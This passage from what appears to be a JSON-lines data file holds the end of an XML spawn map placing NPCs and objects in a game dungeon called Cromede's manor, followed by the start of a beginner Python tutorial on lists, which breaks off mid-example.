-->\r\n\t\t<spawn npc_id=\"653345\">\r\n\t\t\t<spot x=\"702.3464\" y=\"548.3079\" z=\"197.8742\" h=\"65\"/>\r\n\t\t\t<spot x=\"727.1314\" y=\"528.9071\" z=\"197.88681\" h=\"34\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Dungeon Maid ||| IDCromede_2low_ServantWoman_38_An -->\r\n\t\t<spawn npc_id=\"653346\">\r\n\t\t\t<spot x=\"740.66095\" y=\"518.0343\" z=\"198.73694\" h=\"113\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Shadow Executor Asusin ||| IDCromede_2low_Manager_38_An -->\r\n\t\t<spawn npc_id=\"653347\">\r\n\t\t\t<spot x=\"544.4814\" y=\"639.7813\" z=\"215.35608\" h=\"60\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Warden Baal ||| IDCromede_2low_Key_PrisonGuards_38_An -->\r\n\t\t<spawn npc_id=\"653348\">\r\n\t\t\t<spot x=\"688.7367\" y=\"613.2802\" z=\"200.11989\" h=\"91\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Guard Captain ||| IDCromede_2low_Key_GuardBoss_38_An -->\r\n\t\t<spawn npc_id=\"653349\">\r\n\t\t\t<spot x=\"739.61774\" y=\"532.05804\" z=\"199.31773\" h=\"60\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Hamam the Torturer ||| IDCromede_2low_Trigger_Torture_38_An -->\r\n\t\t<spawn npc_id=\"653350\">\r\n\t\t\t<spot x=\"750.3141\" y=\"625.1159\" z=\"197.54472\" h=\"105\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Servant ||| IDCromede_2up_ServantManA_38_An -->\r\n\t\t<spawn npc_id=\"653351\">\r\n\t\t\t<spot x=\"578.0825\" y=\"638.90796\" z=\"208.13933\" h=\"91\"/>\r\n\t\t\t<spot x=\"507.19702\" y=\"589.25476\" z=\"215.5286\" h=\"0\"/>\r\n\t\t\t<spot x=\"518.9381\" y=\"685.5721\" z=\"215.5286\" h=\"9\"/>\r\n\t\t\t<spot x=\"535.16394\" y=\"702.71405\" z=\"215.55\" h=\"75\"/>\r\n\t\t\t<spot x=\"507.04413\" y=\"780.74365\" z=\"215.97673\" h=\"81\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Maid ||| IDCromede_2up_ServantWomanA_38_An -->\r\n\t\t<spawn npc_id=\"653352\">\r\n\t\t\t<spot x=\"518.13245\" y=\"589.2094\" z=\"215.5286\" h=\"60\"/>\r\n\t\t\t<spot x=\"497.86356\" y=\"685.2856\" z=\"215.5286\" h=\"101\"/>\r\n\t\t\t<spot x=\"494.2564\" y=\"683.2696\" z=\"215.5286\" h=\"15\"/>\r\n\t\t\t<spot x=\"517.9326\" y=\"780.4086\" z=\"215.97672\" h=\"100\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Servant ||| IDCromede_2up_ServantManB_38_An -->\r\n\t\t<spawn npc_id=\"653353\">\r\n\t\t\t<spot x=\"599.7364\" y=\"663.8879\" z=\"208.98871\" h=\"59\"/>\r\n\t\t\t<spot x=\"580.6339\" y=\"634.3646\" z=\"208.13835\" h=\"30\"/>\r\n\t\t\t<spot x=\"581.51105\" y=\"620.227\" z=\"208.98555\" h=\"86\"/>\r\n\t\t\t<spot x=\"541.5023\" y=\"626.9278\" z=\"201.58124\" h=\"30\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Guest ||| IDCromede_2up_Mguard1_38_An -->\r\n\t\t<spawn npc_id=\"653354\">\r\n\t\t\t<spot x=\"513.9531\" y=\"611.61304\" z=\"214.99913\" h=\"60\"/>\r\n\t\t\t<spot x=\"559.3185\" y=\"688.80927\" z=\"215.5286\" h=\"0\"/>\r\n\t\t\t<spot x=\"513.8508\" y=\"670.2219\" z=\"214.99915\" h=\"60\"/>\r\n\t\t\t<spot x=\"535.15436\" y=\"721.2572\" z=\"215.5286\" h=\"46\"/>\r\n\t\t\t<spot x=\"494.78812\" y=\"702.2527\" z=\"215.54999\" h=\"90\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Scribe ||| IDCromede_2up_Rguard1_38_An -->\r\n\t\t<spawn npc_id=\"653355\">\r\n\t\t\t<spot x=\"557.71\" y=\"754.99786\" z=\"225.77342\" h=\"90\"/>\r\n\t\t\t<spot x=\"571.5245\" y=\"769.92267\" z=\"215.56648\" h=\"90\"/>\r\n\t\t\t<spot x=\"555.9373\" y=\"785.5314\" z=\"215.88853\" h=\"95\"/>\r\n\t\t\t<spot x=\"576.3942\" y=\"827.4632\" z=\"225.78215\" h=\"61\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Guard ||| IDCromede_2up_Mguard2_38_An -->\r\n\t\t<spawn npc_id=\"653356\">\r\n\t\t\t<spot x=\"525.2485\" y=\"756.3972\" z=\"215.5286\" h=\"60\"/>\r\n\t\t\t<spot x=\"500.90088\" y=\"754.3457\" z=\"215.5286\" h=\"6\"/>\r\n\t\t\t<spot x=\"524.2423\" y=\"771.226\" z=\"215.5286\" h=\"80\"/>\r\n\t\t\t<spot x=\"501.83328\" y=\"770.1322\" z=\"215.5286\" h=\"106\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Defender ||| IDCromede_2up_Rguard2_38_An -->\r\n\t\t<spawn npc_id=\"653357\">\r\n\t\t\t<spot x=\"504.0414\" y=\"765.1647\" z=\"215.5286\" h=\"30\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Gardener ||| IDCromede_2up_Gardener1_38_An -->\r\n\t\t<spawn npc_id=\"653358\">\r\n\t\t\t<spot x=\"529.7593\" y=\"652.9267\" z=\"201.66309\" h=\"87\"/>\r\n\t\t\t<spot x=\"492.27322\" y=\"631.6106\" z=\"201.50711\" h=\"90\"/>\r\n\t\t\t<spot x=\"496.48264\" y=\"657.78125\" z=\"201.71332\" h=\"46\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Gardener ||| IDCromede_2up_Gardener2_38_An -->\r\n\t\t<spawn npc_id=\"653359\">\r\n\t\t\t<spot x=\"533.51984\" y=\"627.2393\" z=\"201.62213\" h=\"90\"/>\r\n\t\t\t<spot x=\"506.16187\" y=\"619.0201\" z=\"201.48782\" h=\"52\"/>\r\n\t\t\t<spot x=\"515.2463\" y=\"655.51306\" z=\"201.52678\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Yulina ||| IDCromede_2up_Chef1_38_An -->\r\n\t\t<spawn npc_id=\"653360\">\r\n\t\t\t<spot x=\"513.5668\" y=\"742.6286\" z=\"215.52861\" h=\"91\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kiernook ||| IDCromede_2up_Chef2_38_An -->\r\n\t\t<spawn npc_id=\"653361\">\r\n\t\t\t<spot x=\"511.7998\" y=\"742.7413\" z=\"215.52861\" h=\"91\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Kitchen Maid ||| IDCromede_2up_Housemaid_38_An -->\r\n\t\t<spawn npc_id=\"653362\">\r\n\t\t\t<spot x=\"606.8903\" y=\"631.6085\" z=\"208.98668\" h=\"15\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Pet Tog ||| IDCromede_2up_Tog_38_An -->\r\n\t\t<spawn npc_id=\"653363\">\r\n\t\t\t<spot x=\"528.5049\" y=\"648.1431\" z=\"201.58102\" h=\"98\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Jeeves ||| IDCromede_2up_Key_Butler_38_An -->\r\n\t\t<spawn npc_id=\"653364\">\r\n\t\t\t<spot x=\"585.9432\" y=\"774.20966\" z=\"215.57028\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Lady Angerr ||| IDCromede_2up_Trigger_Wife_38_An -->\r\n\t\t<spawn npc_id=\"653365\">\r\n\t\t\t<spot x=\"512.4925\" y=\"571.4596\" z=\"216.88846\" h=\"30\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Justicetaker Wyr ||| IDCromede_2up_Trigger_AssiJudge_38_An -->\r\n\t\t<spawn npc_id=\"653366\">\r\n\t\t\t<spot x=\"567.989\" y=\"835.77356\" z=\"225.82626\" h=\"30\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga the Unjust ||| IDCromede_2up_Named_Angry_Judge_38_An -->\r\n\t\t<spawn npc_id=\"653367\">\r\n\t\t\t<spot x=\"668.5679\" y=\"774.37366\" z=\"216.88036\" h=\"60\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Crazy Prisoner ||| IDCromede_2low_PrisonerMan3_38_An -->\r\n\t\t<spawn npc_id=\"653368\">\r\n\t\t\t<spot x=\"657.8109\" y=\"607.86615\" z=\"201.19109\" h=\"99\"/>\r\n\t\t\t<spot x=\"655.5525\" y=\"648.0692\" z=\"201.19107\" h=\"0\"/>\r\n\t\t\t<spot x=\"645.3802\" y=\"646.1737\" z=\"201.19109\" h=\"0\"/>\r\n\t\t\t<spot x=\"663.6772\" y=\"645.438\" z=\"201.19107\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Crazy Captive ||| IDCromede_2low_PrisonerWoman3_38_An -->\r\n\t\t<spawn npc_id=\"653369\">\r\n\t\t\t<spot x=\"645.6742\" y=\"603.3673\" z=\"201.19109\" h=\"0\"/>\r\n\t\t\t<spot x=\"662.55554\" y=\"611.8932\" z=\"201.19109\" h=\"23\"/>\r\n\t\t\t<spot x=\"662.4405\" y=\"658.7458\" z=\"201.19107\" h=\"23\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Dungeon Guard ||| IDCromede_2low_Mguard3_38_An -->\r\n\t\t<spawn npc_id=\"653370\">\r\n\t\t\t<spot x=\"675.49927\" y=\"606.51917\" z=\"201.19107\" h=\"0\"/>\r\n\t\t\t<spot x=\"687.9887\" y=\"592.9692\" z=\"200.1199\" h=\"30\"/>\r\n\t\t\t<spot x=\"679.1647\" y=\"629.1043\" z=\"201.05255\" h=\"0\"/>\r\n\t\t\t<spot x=\"673.8558\" y=\"651.0355\" z=\"201.19107\" h=\"60\"/>\r\n\t\t\t<spot x=\"638.4705\" y=\"588.0557\" z=\"209.04085\" h=\"90\"/>\r\n\t\t\t<spot x=\"693.0561\" y=\"530.60706\" z=\"197.90057\" h=\"60\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Dungeon Sentry ||| IDCromede_2low_Rguard3_38_An -->\r\n\t\t<spawn npc_id=\"653371\">\r\n\t\t\t<spot x=\"694.7556\" y=\"623.90607\" z=\"200.1199\" h=\"45\"/>\r\n\t\t\t<spot x=\"688.908\" y=\"555.0045\" z=\"197.90062\" h=\"30\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Guard Bitin ||| IDCromede_2low_PrisonGuards_38_An -->\r\n\t\t<spawn npc_id=\"653372\">\r\n\t\t\t<spot x=\"655.15314\" y=\"581.5869\" z=\"198.92433\" h=\"20\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Maid ||| IDCromede_2up_ServantWomanC_38_An -->\r\n\t\t<spawn npc_id=\"653373\">\r\n\t\t\t<spot x=\"606.0431\" y=\"624.0882\" z=\"208.98907\" h=\"73\"/>\r\n\t\t\t<spot x=\"605.8997\" y=\"656.4058\" z=\"208.98906\" h=\"73\"/>\r\n\t\t\t<spot x=\"576.1228\" y=\"646.4518\" z=\"208.14114\" h=\"90\"/>\r\n\t\t\t<spot x=\"591.7659\" y=\"577.93414\" z=\"208.99332\" h=\"15\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Visitor ||| IDCromede_2up_Mguard3_38_An -->\r\n\t\t<spawn npc_id=\"653374\">\r\n\t\t\t<spot x=\"511.56604\" y=\"611.6482\" z=\"214.99913\" h=\"0\"/>\r\n\t\t\t<spot x=\"561.2292\" y=\"688.76465\" z=\"215.5286\" h=\"60\"/>\r\n\t\t\t<spot x=\"511.46375\" y=\"670.2571\" z=\"214.99915\" h=\"0\"/>\r\n\t\t\t<spot x=\"533.195\" y=\"723.0609\" z=\"215.5286\" h=\"106\"/>\r\n\t\t\t<spot x=\"494.79144\" y=\"699.9309\" z=\"215.54999\" h=\"30\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Librarian ||| IDCromede_2up_Rguard3_38_An -->\r\n\t\t<spawn npc_id=\"653375\">\r\n\t\t\t<spot x=\"581.6463\" y=\"757.73334\" z=\"215.5348\" h=\"90\"/>\r\n\t\t\t<spot x=\"577.5688\" y=\"776.33923\" z=\"215.56647\" h=\"106\"/>\r\n\t\t\t<spot x=\"571.1133\" y=\"798.0519\" z=\"215.5348\" h=\"90\"/>\r\n\t\t\t<spot x=\"579.7739\" y=\"797.6218\" z=\"225.77344\" h=\"90\"/>\r\n\t\t\t<spot x=\"572.52563\" y=\"809.30304\" z=\"225.84941\" h=\"70\"/>\r\n\t\t\t<spot x=\"556.6964\" y=\"817.423\" z=\"225.78215\" h=\"46\"/>\r\n\t\t\t<spot x=\"585.65393\" y=\"808.6282\" z=\"225.78215\" h=\"60\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Guard ||| IDCromede_2up_Mguard4_38_An -->\r\n\t\t<spawn npc_id=\"653376\">\r\n\t\t\t<spot x=\"595.1304\" y=\"639.506\" z=\"208.44666\" h=\"30\"/>\r\n\t\t\t<spot x=\"611.6034\" y=\"640.54956\" z=\"208.98796\" h=\"60\"/>\r\n\t\t\t<spot x=\"596.19135\" y=\"589.3804\" z=\"208.9933\" h=\"30\"/>\r\n\t\t\t<spot x=\"560.4048\" y=\"616.83154\" z=\"215.3561\" h=\"30\"/>\r\n\t\t\t<spot x=\"544.87335\" y=\"641.5685\" z=\"215.35608\" h=\"60\"/>\r\n\t\t\t<spot x=\"546.372\" y=\"656.987\" z=\"215.3561\" h=\"113\"/>\r\n\t\t\t<spot x=\"506.9939\" y=\"612.23285\" z=\"201.58508\" h=\"0\"/>\r\n\t\t\t<spot x=\"525.1887\" y=\"668.46765\" z=\"201.62233\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Defender ||| IDCromede_2up_Rguard4_38_An -->\r\n\t\t<spawn npc_id=\"653377\">\r\n\t\t\t<spot x=\"595.12244\" y=\"641.4727\" z=\"208.44672\" h=\"90\"/>\r\n\t\t\t<spot x=\"611.1449\" y=\"583.80804\" z=\"208.9933\" h=\"0\"/>\r\n\t\t\t<spot x=\"546.25287\" y=\"623.72266\" z=\"215.35608\" h=\"6\"/>\r\n\t\t\t<spot x=\"563.5663\" y=\"662.7957\" z=\"215.35606\" h=\"75\"/>\r\n\t\t\t<spot x=\"484.72723\" y=\"632.094\" z=\"201.59547\" h=\"91\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Scared Prisoner ||| IDCromede_2low_PrisonerMan4_38_An -->\r\n\t\t<spawn npc_id=\"653378\">\r\n\t\t\t<spot x=\"668.36786\" y=\"628.76514\" z=\"201.19107\" h=\"0\"/>\r\n\t\t\t<spot x=\"659.34796\" y=\"634.1241\" z=\"201.19107\" h=\"10\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Scared Captive ||| IDCromede_2low_PrisonerWoman4_38_An -->\r\n\t\t<spawn npc_id=\"653379\">\r\n\t\t\t<spot x=\"650.2802\" y=\"630.0307\" z=\"201.19109\" h=\"110\"/>\r\n\t\t\t<spot x=\"662.3082\" y=\"622.4972\" z=\"201.19107\" h=\"73\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Torture Tog ||| IDCromede_2low_Tog_38_An -->\r\n\t\t<spawn npc_id=\"653380\">\r\n\t\t\t<spot x=\"732.48895\" y=\"635.6784\" z=\"196.77103\" h=\"66\"/>\r\n\t\t\t<spot x=\"723.59\" y=\"633.545\" z=\"196.77457\" h=\"36\"/>\r\n\t\t\t<spot x=\"738.7905\" y=\"623.0411\" z=\"196.77457\" h=\"103\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Visitor ||| IDCromede_2up_Mguard5_38_An -->\r\n\t\t<spawn npc_id=\"653381\">\r\n\t\t\t<spot x=\"512.0968\" y=\"697.0641\" z=\"215.55974\" h=\"30\"/>\r\n\t\t\t<spot x=\"512.1932\" y=\"706.12494\" z=\"215.55974\" h=\"90\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Manor Guest ||| IDCromede_2up_Rguard5_38_An -->\r\n\t\t<spawn npc_id=\"653382\">\r\n\t\t\t<spot x=\"518.1245\" y=\"701.69336\" z=\"215.55972\" h=\"60\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Relic Guardian ||| IDCromede_2up_Mguard6_38_An -->\r\n\t\t<spawn npc_id=\"653384\">\r\n\t\t\t<spot x=\"609.2937\" y=\"770.66235\" z=\"215.58362\" h=\"60\"/>\r\n\t\t\t<spot x=\"609.304\" y=\"778.09906\" z=\"215.58362\" h=\"60\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Watchdog Tog ||| IDCromede_2low_PetTog_38_An -->\r\n\t\t<spawn npc_id=\"653385\">\r\n\t\t\t<spot x=\"689.6037\" y=\"593.73804\" z=\"200.1199\" h=\"30\"/>\r\n\t\t\t<spot x=\"689.9725\" y=\"505.8838\" z=\"197.9006\" h=\"60\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Dungeon Guard ||| IDCromede_2low_Mguard4_38_An -->\r\n\t\t<spawn npc_id=\"653386\">\r\n\t\t\t<spot x=\"685.169\" y=\"661.9395\" z=\"200.11993\" h=\"33\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Dungeon Sentry ||| IDCromede_2low_Rguard4_38_An -->\r\n\t\t<spawn npc_id=\"653387\">\r\n\t\t\t<spot x=\"689.8362\" y=\"661.17645\" z=\"200.11993\" h=\"26\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Dungeon Bloodwing ||| IDCromede_2low_Bat_38_An -->\r\n\t\t<spawn npc_id=\"656241\">\r\n\t\t\t<spot x=\"638.6416\" y=\"588.05536\" z=\"209.04085\" h=\"0\"/>\r\n\t\t\t<spot x=\"638.6416\" y=\"588.05536\" z=\"209.04085\" h=\"0\"/>\r\n\t\t\t<spot x=\"638.6416\" y=\"588.05536\" z=\"209.04085\" h=\"0\"/>\r\n\t\t\t<spot x=\"638.6416\" y=\"588.05536\" z=\"209.04085\" h=\"0\"/>\r\n\t\t\t<spot x=\"638.6416\" y=\"588.05536\" z=\"209.04085\" h=\"0\"/>\r\n\t\t\t<spot x=\"638.6416\" y=\"588.05536\" z=\"209.04085\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Bloodlust Dionae ||| IDCromede_2up_Dionaea_38_An -->\r\n\t\t<spawn npc_id=\"656249\">\r\n\t\t\t<spot x=\"493.77383\" y=\"632.5344\" z=\"201.51845\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Sealed Stone Door ||| IDCromede_Stone_Door -->\r\n\t\t<spawn npc_id=\"700835\">\r\n\t\t\t<spot x=\"502.4092\" y=\"345.9964\" z=\"168.90407\" h=\"0\" static_id=\"3\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Torture Chamber Door ||| IDCromede_torture_door -->\r\n\t\t<spawn npc_id=\"700922\">\r\n\t\t\t<spot x=\"711.5991\" y=\"629.3586\" z=\"196.82828\" h=\"0\" static_id=\"320\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Secret Safe Door ||| IDCromede_bookcase_door_in -->\r\n\t\t<spawn npc_id=\"700924\">\r\n\t\t\t<spot x=\"587.6711\" y=\"774.232\" z=\"215.59996\" h=\"60\" static_id=\"5\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Emergency Exit ||| IDCromede_escape_door -->\r\n\t\t<spawn npc_id=\"700928\">\r\n\t\t\t<spot x=\"680.7784\" y=\"774.01013\" z=\"216.88036\" h=\"0\" static_id=\"105\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Robstin's Corpse ||| IDCromede_body -->\r\n\t\t<spawn npc_id=\"700939\">\r\n\t\t\t<spot x=\"656.92\" y=\"585.74\" z=\"199.14\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Tortured Captive ||| IDCromede_PrisonerMan -->\r\n\t\t<spawn npc_id=\"700946\">\r\n\t\t\t<spot x=\"757.08905\" y=\"621.9651\" z=\"197.54472\" h=\"30\"/>\r\n\t\t\t<spot x=\"754.037\" y=\"622.71857\" z=\"197.54472\" h=\"53\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Tortured Prisoner ||| IDCromede_PrisonerWoman -->\r\n\t\t<spawn npc_id=\"700947\">\r\n\t\t\t<spot x=\"752.76105\" y=\"620.35547\" z=\"197.54472\" h=\"30\"/>\r\n\t\t\t<spot x=\"754.3646\" y=\"617.89075\" z=\"197.17696\" h=\"43\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Dream Boundary ||| IDCromede_entrance_out -->\r\n\t\t<spawn npc_id=\"700949\">\r\n\t\t\t<spot x=\"229.35812\" y=\"252.25693\" z=\"191.16841\" h=\"110\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Grave Robber's Corpse ||| IDCromede_Rotan_body -->\r\n\t\t<spawn npc_id=\"700961\">\r\n\t\t\t<spot x=\"467.18765\" y=\"351.88593\" z=\"170.32787\" h=\"66\" static_id=\"56\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Shadow Executor Asusin ||| IDCromede_NPC_Manager -->\r\n\t\t<spawn npc_id=\"700964\">\r\n\t\t\t<spot x=\"237.68486\" y=\"249.01709\" z=\"189.8725\" h=\"113\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Robstin ||| IDCromede_NPC_Robstin -->\r\n\t\t<spawn npc_id=\"700965\">\r\n\t\t\t<spot x=\"657.20074\" y=\"585.7778\" z=\"199.04715\" h=\"113\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Maga's Potion ||| IDCromede_FOBJ_Q18603 -->\r\n\t\t<spawn npc_id=\"730308\">\r\n\t\t\t<spot x=\"350.28397\" y=\"169.9596\" z=\"146.34906\" h=\"0\" static_id=\"6\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Lost Rotan ||| IDCromede_Statue_Q18604 -->\r\n\t\t<spawn npc_id=\"730309\">\r\n\t\t\t<spot x=\"469.09833\" y=\"353.68143\" z=\"170.7925\" h=\"79\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Sleep Flower ||| IDCromede_flower_skill -->\r\n\t\t<spawn npc_id=\"730325\">\r\n\t\t\t<spot x=\"492.22452\" y=\"628.73303\" z=\"201.67583\" h=\"90\" static_id=\"79\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga's Sword Rack ||| IDCromede_sword -->\r\n\t\t<spawn npc_id=\"730326\">\r\n\t\t\t<spot x=\"644.2064\" y=\"763.19867\" z=\"216.10056\" h=\"0\" static_id=\"206\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga's Greatsword Rack ||| IDCromede_2hsword -->\r\n\t\t<spawn npc_id=\"730327\">\r\n\t\t\t<spot x=\"613.7907\" y=\"784.8866\" z=\"216.10056\" h=\"0\" static_id=\"13\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga's Dagger Rack ||| IDCromede_dagger -->\r\n\t\t<spawn npc_id=\"730328\">\r\n\t\t\t<spot x=\"644.24994\" y=\"784.97345\" z=\"216.10056\" h=\"0\" static_id=\"197\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga's Polearm Rack ||| IDCromede_polearm -->\r\n\t\t<spawn npc_id=\"730329\">\r\n\t\t\t<spot x=\"653.3656\" y=\"784.7784\" z=\"216.10056\" h=\"0\" static_id=\"200\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga's Bow Rack ||| IDCromede_bow -->\r\n\t\t<spawn npc_id=\"730330\">\r\n\t\t\t<spot x=\"634.26746\" y=\"785.09186\" z=\"216.10056\" h=\"0\" static_id=\"195\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga's Mace Rack ||| IDCromede_mace -->\r\n\t\t<spawn npc_id=\"730331\">\r\n\t\t\t<spot x=\"653.2491\" y=\"763.3508\" z=\"216.10056\" h=\"0\" static_id=\"202\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga's Staff Rack ||| IDCromede_staff -->\r\n\t\t<spawn npc_id=\"730332\">\r\n\t\t\t<spot x=\"623.64386\" y=\"763.16016\" z=\"216.10056\" h=\"0\" static_id=\"260\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga's Spellbook Rack ||| IDCromede_book -->\r\n\t\t<spawn npc_id=\"730333\">\r\n\t\t\t<spot x=\"623.59906\" y=\"784.95026\" z=\"216.10056\" h=\"0\" static_id=\"193\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga's Orb Rack ||| IDCromede_orb -->\r\n\t\t<spawn npc_id=\"730334\">\r\n\t\t\t<spot x=\"634.11365\" y=\"763.34265\" z=\"216.10056\" h=\"0\" static_id=\"208\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga's Shield Rack ||| IDCromede_shield -->\r\n\t\t<spawn npc_id=\"730335\">\r\n\t\t\t<spot x=\"613.6698\" y=\"763.2537\" z=\"216.10056\" h=\"0\" static_id=\"268\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Garden Fountain ||| IDCromede_buff_fountain -->\r\n\t\t<spawn npc_id=\"730336\">\r\n\t\t\t<spot x=\"512.25446\" y=\"640.27\" z=\"202.50072\" h=\"0\" static_id=\"14\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Fruit Basket ||| IDCromede_buff_basket -->\r\n\t\t<spawn npc_id=\"730337\">\r\n\t\t\t<spot x=\"522.8628\" y=\"755.2494\" z=\"216.63828\" h=\"0\" static_id=\"70\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Porgus Barbecue ||| IDCromede_buff_dish -->\r\n\t\t<spawn npc_id=\"730338\">\r\n\t\t\t<spot x=\"503.46967\" y=\"769.13153\" z=\"216.6719\" h=\"0\" static_id=\"69\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Prophet's Tower ||| IDCromede_buff_statue -->\r\n\t\t<spawn npc_id=\"730339\">\r\n\t\t\t<spot x=\"591.2065\" y=\"640.5705\" z=\"208.67542\" h=\"0\" static_id=\"15\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Old Relic Chest ||| IDCromede_box_skill -->\r\n\t\t<spawn npc_id=\"730340\">\r\n\t\t\t<spot x=\"741.7551\" y=\"530.59705\" z=\"199.31775\" h=\"60\" static_id=\"319\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Maga's Potion ||| IDCromede_potion_skill -->\r\n\t\t<spawn npc_id=\"730341\">\r\n\t\t\t<spot x=\"542.481\" y=\"641.3745\" z=\"217.48947\" h=\"100\" static_id=\"553\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga's Aether revolver display case ||| IDCromede_gun -->\r\n\t\t<spawn npc_id=\"730775\">\r\n\t\t\t<spot x=\"613.879\" y=\"789.6061\" z=\"216.11526\" h=\"0\" static_id=\"978\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga's Aether cannon display box ||| IDCromede_cannon -->\r\n\t\t<spawn npc_id=\"730776\">\r\n\t\t\t<spot x=\"623.7448\" y=\"789.6008\" z=\"216.12526\" h=\"0\" static_id=\"979\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga's stringed instrument display box ||| IDCromede_harp -->\r\n\t\t<spawn npc_id=\"730777\">\r\n\t\t\t<spot x=\"613.7713\" y=\"758.7706\" z=\"216.11046\" h=\"0\" static_id=\"980\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Kaliga's Aether Key display box ||| IDCromede_keyblade -->\r\n\t\t<spawn npc_id=\"730887\">\r\n\t\t\t<spot x=\"623.67926\" y=\"758.8569\" z=\"216.11046\" h=\"0\" static_id=\"984\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Silver Blade Rotan ||| Summon_Cromede_SDamage -->\r\n\t\t<spawn npc_id=\"749210\">\r\n\t\t\t<spot x=\"485.39844\" y=\"346.5547\" z=\"170.33995\" h=\"119\"/>\r\n\t\t</spawn>\r\n\t</spawn_map>\r\n</spawns>\r\n"} {"text": "\n# list are ordered\na = ['foo', 'bar', 'baz', 'qux']\nb = ['baz', 'qux', 'bar', 'foo']\n\nprint(a == b)\nprint(a is b)\nprint([1, 2, 3, 4] == [4, 1, 3, 2])\n\n#Lists Can Contain Arbitrary Objects\na = [21.42, 'foobar', 3, 4, 'bark', False, 3.14159]\n\n# declare empty list\nmy_list = []\n\n# declare list of integers\nmy_list = [1, 2, 3, 4]\n\n# declare list of mixed datatypes\nmy_list = [1, 'mystring', 3.4, True]\n\n# Lists Can Be Nested\n# declare a nested list\nmy_list = [9, 'mystring',[1,2,3],['hi','there','my']]\n\n# List Elements Can Be Accessed by Index\n# INDEXING LIST\n\n\n# declare list of integers\nmy_list = [1, 2, 3, 4]\n\nmy_first_element = my_list[0]\n#returns 1\nmy_second_element = my_list[1]\n#returns 2\nmy_third_element = my_list[2]\n#returns 3\n\n# returns error, we can only use integers for indexing.\n# my_third_element = my_list[2.0]\n\n# returns error, we only have 4 elements. This is accessing a fifth element.\n# my_third_element = my_list[4]\n\n# declare nested list of integers\nmy_list = [[1,2,3],[4,5,6],[7,8,9]]\n\nmy_first_element = my_list[0][0]\n#returns 1\nmy_second_element = my_list[1][2]\n#returns 6\nmy_third_element = my_list[2][1]\n#returns 8\n\n\n# SLICING LIST\n\n\nmy_list = ['y','o','d','a']\n\nzero_to_one = my_list[0:1]\ntwo_to_end = my_list[2:]\ntwo_to_first = my_list[:-2]\n\nprint(two_to_first)\n\n\n# CHANGING & ADDING ELEMENTS\n\n\nmy_list = [3, 4, 